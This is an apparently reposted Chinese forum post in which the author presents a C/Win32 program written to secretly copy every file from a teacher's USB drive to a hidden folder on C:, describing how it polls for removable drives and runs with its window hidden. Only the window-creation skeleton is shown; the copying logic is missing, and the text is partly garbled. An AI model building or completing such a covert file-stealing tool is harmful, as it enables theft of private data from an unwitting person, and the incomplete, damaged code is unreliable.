c语言自动拷贝u盘文件,写了一个偷偷拷贝老师U盘所有文件的程序……蛋疼……………...
該樓層疑似違規(guī)已被系統(tǒng)折疊?隱藏此樓查看此樓
直接雙擊運行,程序會每一秒檢查一下是否有移動盤插入,如果有,就在C盤下新建一個文件夾copy,并把移動盤內(nèi)所有的文件拷貝到C:\copy下。拷貝完成后自動退出。我想也沒哪個老師會蛋疼的去看任務(wù)管理器,所以就沒有隱藏進程。用vc6編譯通過,在XP下測試通過。
#include
#define ID_TIMER 1
int error;
LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM) ;
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,PSTR szCmdLine,int iCmdShow)
{
static TCHAR szAppName[]=TEXT("copy");
HWND hwnd;
MSG msg;
WNDCLASS wndclass ;
wndclass.style?????????? =CS_HREDRAW|CS_VREDRAW;
wndclass.lpfnWndProc???? =WndProc;
wndclass.cbClsExtra????? =0;
wndclass.cbWndExtra????? =0;
wndclass.hInstance?????? =hInstance;
wndclass.hIcon?????????? =LoadIcon(NULL,IDI_APPLICATION);
wndclass.hCursor???????? =LoadCursor(NULL,IDC_IBEAM);
wndclass.hbrBackground?? =(HBRUSH)GetStockObject(WHITE_BRUSH);
wndclass.lpszMenuName??? =NULL;
wndclass.lpszClassName?? =szAppName;
if (!RegisterClass(&wndclass))
{
MessageBox(NULL,TEXT("This program requires Windows NT!"),szAppName,MB_ICONERROR) ;
return 0 ;
}
hwnd=CreateWindow(szAppName,
TEXT("copy"),
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL,
NULL,
hInstance,
NULL);
ShowWindow(hwnd,SW_HIDE);
UpdateWindow(hwnd);
while (GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
總結(jié)
以上是生活随笔為你收集整理的c语言自动拷贝u盘文件,写了一个偷偷拷贝老师U盘所有文件的程序……蛋疼……………...的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mac mysql 安装 简书_在Mac
- 下一篇: oracle单行子查询返回多个行 ord